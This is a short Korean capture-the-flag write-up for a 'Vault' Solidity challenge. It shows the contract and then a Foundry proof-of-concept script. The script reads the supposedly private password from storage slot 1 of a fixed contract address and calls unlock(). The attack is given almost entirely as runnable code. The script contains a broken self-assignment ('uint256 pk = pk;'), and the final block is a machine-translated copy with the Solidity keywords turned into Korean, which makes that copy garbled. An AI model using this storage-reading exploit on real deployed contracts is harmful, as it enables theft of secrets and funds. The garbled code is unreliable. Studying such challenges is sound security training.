Vault

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

 

PoC

스토리지 조회하면 나온다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

interface IVault {
    function unlock(bytes32 _password) external;
    function locked() external view returns (bool);
}

contract VaultAttack is Script {
    function run() public {
        uint256 pk = pk;
        address vaultAddress = 0x1e13911fBBa01aFad8a23413E420F9039D98dBd9;
        
        vm.startBroadcast(pk);

        bytes32 password = vm.load(vaultAddress, bytes32(uint256(1)));
        
        IVault(vaultAddress).unlock(password);

        vm.stopBroadcast();
    }
}

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; "forge-std/Script.sol"에서 {스크립트, 콘솔}을 가져옵니다. 인터페이스 IVault { 기능 잠금 해제(bytes32 _password) 외부; 함수 잠김() 외부 보기 반환(bool); } 계약 VaultAttack은 Script { function run() public { uint256 pk = pk; 주소 VaultAddress = 0x1e13911fBBa01aFad8a23413E420F9039D98dBd9; vm.startBroadcast(pk); bytes32 비밀번호 = vm.load(vaultAddress, bytes32(uint256(1))); IVault(vaultAddress).unlock(비밀번호); vm.stopBroadcast(); } }